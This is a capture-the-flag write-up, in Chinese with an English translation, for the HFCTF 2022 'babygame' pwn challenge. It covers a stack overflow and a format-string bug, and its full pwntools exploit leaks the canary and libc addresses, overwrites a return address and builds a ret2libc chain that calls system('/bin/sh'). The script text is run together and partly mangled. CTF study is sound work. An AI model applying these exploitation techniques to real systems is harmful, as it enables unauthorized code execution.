babygame
题目附件
https://gitee.com/csomebro/ctftask/blob/master/20220-03_HFCTF/babygame.tar
分析
漏洞点就是栈溢出 + 格式化字符串,保护全开,需要泄露 canary、函数加载地址、libc 加载地址、栈地址。

可以在 read 的时候将,v5 的值覆盖,从而操控 seed

总结
- 第一次 read 的时候,输入到覆盖 canary 的最低字节,在 printf (“% s”) 泄露 canary 地址,同时在 gdb 调试的时候发现同时会泄露栈地址
- attack_random 之后进入格式化字符串,此时需要泄露函数加载地址,并且需要修改函数返回地址组最低位为 0x39(调试的时候发现可以同时泄露 libc 加载地址)
- 重新进入 printf (buf) 中,利用 pwnlib 中的 fmtstr_payload 修改函数返回地址到 main 函数开始
- 此时回到 read (0, buf, 0x256),正式进入栈溢出,ret2libc。
exp
from pwn import *import time
context.log_level = 'info'
def rand_(): rd.sendlineafter('>', '1') rd.recvuntil('!>') return int(rd.recvuntil('\n'), 16)
def attack_rand(): tmp = rand_() % 3 if tmp == 0: return 1 elif tmp == 1: return 2 elif tmp == 2: return 0
io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})# io = remote('120.25.205.249', 38573)# rd = process('./rd')# gdb.attach(io)
def pwn(): global io, rd tmppp = 0x210 while True: io.sendlineafter('Please input your name:', '1' * (0x108)) rd.sendlineafter('>', str(int('0x31313131', 16)))
io.recvuntil('111\n') canary = io.recv(7).rjust(8,'\x00') canary = u64(canary) log.success('canary: '+hex(canary))
inp = io.recv(6).ljust(8, '\x00') inp = u64(inp) log.success('stack: '+hex(inp))
context.clear(arch = 'amd64', log_level='info')
for _ in range(100): io.sendlineafter(': \n', str(attack_rand()))
context.clear(arch = 'amd64', log_level='debug') # p1 = "-%p- -%p-" # p = fmtstr_payload(6, {inp-0x210: 0x39}, write_size='byte').replace('lln', 'hhn')
p1 = '-%41$p--%27$p-' tmp = 0x39 - 0x22 pt = "%" +str(tmp)+ "c" + "%10$hhn" p = p1 + '[' * (0x10 - len(p1)) + pt + 'b' * (0x10-len(pt)) + p64(inp-tmppp)
io.sendlineafter('Good luck to you.', p)
# s = io.recvuntil('[' * (0x10 - len(p1))) # print s # print hex(len(s))
io.recvuntil('-') func_addr = int(io.recvuntil('-',drop=True), 16) - 0x000001543 log.success('func_addr:' + hex(func_addr))
io.recvuntil('-') atoi_addr = int(io.recvuntil('-', drop=True), 16) - 20 log.success('atoi_addr:' + hex(atoi_addr))
libc = ELF('./libc-2.31.so') libc_base = atoi_addr - libc.sym['atoi'] log.success('libc_base:' + hex(libc_base)) context.clear(arch = 'amd64', log_level='info') p = fmtstr_payload(6, {inp-tmppp: func_addr+0x000000014B6}, write_size='byte')
try: io.sendlineafter('Good luck to you.', p)
pop_rdi = 0x0015D2 + 1 sys_addr = libc.sym['system']
binsh = libc.search('/bin/sh').next()
# gdb.attach(io)
p = 'a' * 0x108 + p64(canary) + p64(0) * 3 + p64(pop_rdi+func_addr+1) + p64(pop_rdi+func_addr) + p64(binsh + libc_base) + p64(sys_addr+libc_base) io.sendlineafter('Please input your name:', p) io.sendlineafter(': \n', str(attack_rand()+1)) print hex(tmppp) break except: tmppp += 8 log.info("tmp: ", hex(tmppp)) # io.close() rd.close() io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'}) # io = remote('120.25.205.249', 38573) rd = process('./rd')
pwn()io.interactive()小插曲:原来脚本地能跑通,远程打不通,然后我也没注意到 q 群有说明是更新了附件,自我分析了一点,怀疑是 canary 底下的栈地址本地和远程的偏移量不同,所以写了一个偏移量的爆破。
Translate by Kimi-K3
babygame
Challenge attachments
https://gitee.com/csomebro/ctftask/blob/master/20220-03_HFCTF/babygame.tar
Analysis
The vulnerability is a stack overflow plus a format string bug. All protections are enabled, so we need to leak the canary, the function load address, the libc load address, and a stack address.

During the read, we can overwrite the value of v5, thereby controlling the seed.

Summary
- On the first read, input just enough to overwrite the lowest byte of the canary, then leak the canary through
printf("%s"). While debugging in gdb I found that a stack address is leaked at the same time. - After attack_random we reach the format string, where we need to leak the function load address and modify the lowest byte of the function’s return address to 0x39 (while debugging I found that the libc load address can be leaked at the same time).
- Re-enter
printf(buf)and usefmtstr_payloadfrom pwnlib to overwrite the function’s return address with the start of main. - Now we’re back at
read(0, buf, 0x256)and can proceed with the actual stack overflow and ret2libc.
exp
from pwn import *import time
context.log_level = 'info'
def rand_(): rd.sendlineafter('>', '1') rd.recvuntil('!>') return int(rd.recvuntil('\n'), 16)
def attack_rand(): tmp = rand_() % 3 if tmp == 0: return 1 elif tmp == 1: return 2 elif tmp == 2: return 0
io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})# io = remote('120.25.205.249', 38573)# rd = process('./rd')# gdb.attach(io)
def pwn(): global io, rd tmppp = 0x210 while True: io.sendlineafter('Please input your name:', '1' * (0x108)) rd.sendlineafter('>', str(int('0x31313131', 16)))
io.recvuntil('111\n') canary = io.recv(7).rjust(8,'\x00') canary = u64(canary) log.success('canary: '+hex(canary))
inp = io.recv(6).ljust(8, '\x00') inp = u64(inp) log.success('stack: '+hex(inp))
context.clear(arch = 'amd64', log_level='info')
for _ in range(100): io.sendlineafter(': \n', str(attack_rand()))
context.clear(arch = 'amd64', log_level='debug') # p1 = "-%p- -%p-" # p = fmtstr_payload(6, {inp-0x210: 0x39}, write_size='byte').replace('lln', 'hhn')
p1 = '-%41$p--%27$p-' tmp = 0x39 - 0x22 pt = "%" +str(tmp)+ "c" + "%10$hhn" p = p1 + '[' * (0x10 - len(p1)) + pt + 'b' * (0x10-len(pt)) + p64(inp-tmppp)
io.sendlineafter('Good luck to you.', p)
# s = io.recvuntil('[' * (0x10 - len(p1))) # print s # print hex(len(s))
io.recvuntil('-') func_addr = int(io.recvuntil('-',drop=True), 16) - 0x000001543 log.success('func_addr:' + hex(func_addr))
io.recvuntil('-') atoi_addr = int(io.recvuntil('-', drop=True), 16) - 20 log.success('atoi_addr:' + hex(atoi_addr))
libc = ELF('./libc-2.31.so') libc_base = atoi_addr - libc.sym['atoi'] log.success('libc_base:' + hex(libc_base)) context.clear(arch = 'amd64', log_level='info') p = fmtstr_payload(6, {inp-tmppp: func_addr+0x000000014B6}, write_size='byte')
try: io.sendlineafter('Good luck to you.', p)
pop_rdi = 0x0015D2 + 1 sys_addr = libc.sym['system']
binsh = libc.search('/bin/sh').next()
# gdb.attach(io)
p = 'a' * 0x108 + p64(canary) + p64(0) * 3 + p64(pop_rdi+func_addr+1) + p64(pop_rdi+func_addr) + p64(binsh + libc_base) + p64(sys_addr+libc_base) io.sendlineafter('Please input your name:', p) io.sendlineafter(': \n', str(attack_rand()+1)) print hex(tmppp) break except: tmppp += 8 log.info("tmp: ", hex(tmppp)) # io.close() rd.close() io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'}) # io = remote('120.25.205.249', 38573) rd = process('./rd')
pwn()io.interactive()A little episode: the script originally worked locally but failed against the remote target. I hadn’t noticed the announcement in the QQ group saying the attachments had been updated. After some analysis on my own, I suspected the offset between the stack address below the canary differed between local and remote, so I wrote a brute-force loop over the offset.